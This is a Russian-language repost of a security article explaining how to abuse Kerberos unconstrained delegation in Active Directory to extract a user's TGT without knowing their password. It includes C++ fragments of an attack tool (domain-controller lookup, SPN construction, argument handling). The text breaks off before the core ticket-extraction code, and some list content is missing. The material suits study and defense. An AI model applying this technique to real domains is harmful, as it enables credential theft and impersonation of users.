Категория > Новости > Важная делегация. Эксплуатируем TGT Delegation в Active Directory - «Новости»
Важная делегация. Эксплуатируем TGT Delegation в Active Directory - «Новости»16-06-2023, 09:04. Автор: Murphy |
|
В этой статье мы рассмотрим не очень популярную, но крайне интересную атаку, реализовав которую атакующий сможет получить TGT-билет пользователя, даже не зная его пароля либо хеша. Хакеру достаточно лишь выполнить код от лица этого пользователя, а все остальное сделает за нас KDC. Active Directory предоставляет мощный набор функций для делегирования прав на олицетворение пользователей конкретной службе. Существует три вида делегирования: неограниченное, ограниченное и ограниченное на основе ресурсов. Про каждый уже рассказывалось много раз, но какие еще возможности таит в себе механизм делегирования? Особенности неограниченного делегированияПри неограниченном делегировании администратор приходит к службе и говорит: «Теперь ты можешь олицетворять клиентов на других службах». Причем на абсолютно любых службах (отсюда и название — неограниченное). Как это работает? Во‑первых, клиент обращается к службе с неограниченным делегированием. KDC видит, что эта служба имеет специальный флаг Внутри этого тикета будет лежать также сессионный ключ, что позволит службе без проблем олицетворять клиента. Далее у клиента будет TGS-тикет на службу, а также этот FORWARDED TGT, поэтому пора идти к службе. Генерируется запрос AP-REQ, который содержит этот самый FORWARDED TGT. ![]() FORWARDED TGT в AP-REQ Причем тикет будет находиться внутри так называемого аутентификатора. Он позволяет предотвратить возможность релей‑атаки на этап AP-REQ, так как аутентификатор зашифрован сессионным ключом, а также содержит (в случае обычного AP-REQ) имя принципала клиента и таймстемп. Если же служба настроена с неограниченным делегированием, то в запрос AP-REQ, который отправится службе, попадет не только таймстемп и имя принципала, но и FORWARDED TGT. Причем этот самый FORWARDED TGT будет лежать внутри аутентификатора. Сессионный ключ для шифрования аутентификатора клиент получает в ответе TGS-REP, который идет до AP-REQ. Таким образом, у атакующего появляется возможность расшифровать аутентификатор из AP-REQ, а затем получить TGT-билет пользователя, который инициировал обращение к службе с неограниченным делегированием, ведь на руках у него будет зашифрованный блоб и ключ для его дешифровки.
Особенности эксплуатацииЧтобы успешно получить TGT, нужно, чтобы выполнялись следующие требования:
Итоговый алгоритм достаточно простой:
Обнаружение нужной службыИтак, сначала создаем файл #pragma once#define SECURITY_WIN32#include <windows.h>#include <sspi.h>#include <DsGetDC.h>#include <NTSecAPI.h>#include <iostream>#include <locale.h>#include <wincrypt.h>#include <WinBase.h>#define DEBUG#pragma comment (lib, "Secur32.lib")#pragma comment (lib, "NetApi32.lib")#pragma comment(lib,"Crypt32.lib")DWORD TgtDeleg(LPCWSTR);Теперь стоит предусмотреть два варианта работы инструмента: в первом случае служба с неограниченным делегированием будет обнаружена автоматически (достаточно только имени домена), а во втором атакующий собственноручно сможет указать нужный SPN. Получение сессионного ключа и AP-REQ через указание домена Ручное указание SPN Главная функция инструмента не очень большая. Сначала получаем список аргументов, причем проверяем: если их не три, то атакующий указал что‑то не то, поэтому вызываем функцию, которая расскажет, как использовать инструмент.
Информация об использовании инструмента Если же пользователь нигде не напортачил, то переходим к парсингу аргументов. В первом случае, когда указывается только имя домена, вызывается функция LPCWSTR targetname = NULL; switch (*argv[1]) { case '1':targetname = GetDomainController(argv[2]);break;...Эта функция позволяет получить DNS-имя контроллера домена. Мы берем контроллер домена потому, что на нем по умолчанию включено неограниченное делегирование. Получить имя можно с помощью функции LPCWSTR GetDomainController(wchar_t* domainName) { PDOMAIN_CONTROLLER_INFO dcInfo = NULL; DWORD err = DsGetDcName(NULL, (LPCWSTR)domainName, NULL, NULL, DS_RETURN_DNS_NAME | DS_IP_REQUIRED, &dcInfo); if (err != ERROR_SUCCESS) {std::wcout << L"[-] Cant Get DC Name, try use 2 mode: " << err << std::endl;exit(-1); } return dcInfo->DomainControllerName;}После получения имени убираем из него первые два символа слеша (так как функция вернула targetname = removeLeadingCharacters(targetname);#ifdef DEBUG std::wcout << L"[+] Target: " << targetname << std::endl;#endif LPCWSTR SPN = addCIFS(targetname);Функция
А функция LPCWSTR addCIFS(LPCWSTR originalString) { size_t originalSize = wcslen(originalString); size_t cifsSize = 5; size_t newSize = originalSize + cifsSize + 1; LPWSTR newString = new WCHAR[newSize]; wcscpy_s(newString, newSize, L"CIFS/"); wcscat_s(newString, newSize, originalString); return newString;}Есть и второй вариант — пользователь должен самостоятельно указать SPN. Здесь никакого парсинга тогда не потребуется. Сразу передаем полученный SPN в функцию case '2':if (TgtDeleg(argv[2]) == 0) {std::wcout << L"[+] TgtDeleg Success" << std::endl;return 0;}else {std::wcout << L"[-] TgtDeleg Error" << std::endl;return -1;}break; default:std::wcout << L"[-] No such mode" << std::endl;ShowUsage();return 0; }
Подключение к службеПереходим в сердце программы — в функцию Перейти обратно к новости |